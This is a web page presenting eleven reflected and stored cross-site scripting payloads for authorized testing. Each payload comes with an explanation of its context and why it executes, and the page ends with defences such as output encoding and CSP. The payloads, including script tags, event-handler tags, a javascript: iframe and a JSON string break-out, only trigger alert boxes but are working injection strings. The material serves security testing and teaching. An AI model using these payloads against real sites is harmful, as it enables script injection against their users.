Skip to content

Reflected & Stored XSS Payloads

11 payloadsFor authorized testing only

Reflected XSS happens when a server echoes request data (a query string, form field or header) straight back into the HTML response without encoding it. Stored XSS is the same class of bug, except the payload is saved first — in a comment, profile field or database row — and then rendered to every visitor who loads the page.

Both land in the HTML body context, so the goal is to introduce an element or attribute the browser will execute: a <script> tag, or an element with an auto-firing event handler such as onerror, onload or ontoggle. The payloads below replace the builder's placeholder with the marker XSS so you can paste them as-is into an authorized test target.

Basic script tag alert

HTML bodyseverity: low
<script>alert("XSS")</script>
Context
Value reflected into the HTML body.
What it needs
No output encoding and no CSP blocking inline scripts.
Why it works
A literal <script> tag is parsed and executed as the page loads.

Image tag with onerror handler

HTML bodyseverity: low
<img src=x onerror=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
HTML context; the bogus src makes the image fail to load.
Why it works
When src=x fails, the onerror handler runs. Survives filters that only strip <script>.

SVG with onload handler

HTML bodyseverity: low
<svg onload=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
SVG elements allowed through the sanitizer.
Why it works
<svg onload> fires the moment the element is parsed — no broken resource needed.

Iframe with javascript: src

HTML bodyseverity: medium
<iframe src="javascript:alert('XSS')">
Context
Value reflected into the HTML body.
What it needs
Inline frames permitted and javascript: URLs not blocked.
Why it works
A javascript: URL in the frame src executes in the framed document.

Body onload event

HTML bodyseverity: low
<body onload=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
Injection point where a <body> tag is accepted.
Why it works
onload fires once the document finishes loading.

Input autofocus onfocus

HTML bodyseverity: low
<input autofocus onfocus=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
Form controls allowed; no user interaction required.
Why it works
autofocus focuses the input automatically, triggering onfocus.

Details element ontoggle

HTML bodyseverity: low
<details open ontoggle=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
<details> allowed; no user interaction required.
Why it works
<details open> toggles open on parse, firing ontoggle by itself.

Marquee onstart event

HTML bodyseverity: low
<marquee onstart=alert("XSS")>
Context
Value reflected into the HTML body.
What it needs
Legacy <marquee> still rendered by the browser.
Why it works
<marquee> fires onstart automatically when it begins scrolling.

Persistent comment XSS

HTML bodyseverity: medium
<script>/*stored*/alert("XSS")</script>
Context
Persisted input re-rendered to every viewer (comments, posts).
What it needs
Stored unsanitized and echoed back as HTML.
Why it works
The script runs for everyone who loads the page; the comment marker helps it survive naive dedup.

Profile bio stored XSS

HTML bodyseverity: medium
<img src="x" onerror="alert('XSS')" alt="bio">
Context
Stored profile field rendered as HTML to visitors.
What it needs
Field stored raw and displayed without encoding.
Why it works
The img onerror persists and fires for anyone who views the profile.

JSON context escape

JavaScript / JSON stringseverity: high
"};alert("XSS");//
Context
Value echoed inside a JS string / JSON embedded in <script>.
What it needs
Server interpolates the value into inline script without escaping.
Why it works
"}; closes the string and statement, alert() runs, // comments out the trailing syntax.

Defense

  • Contextually encode output: HTML-entity-encode untrusted data placed in the HTML body, and attribute-encode data placed in attributes.
  • Prefer framework auto-escaping (templating that escapes by default) over manual string concatenation.
  • Add a strict Content-Security-Policy (no unsafe-inline, nonce or hash your scripts) as defence in depth.
  • For stored XSS, encode on output rather than trusting input-time sanitization, and sanitize rich text with a vetted library (e.g. DOMPurify) server-side where possible.

Keep testing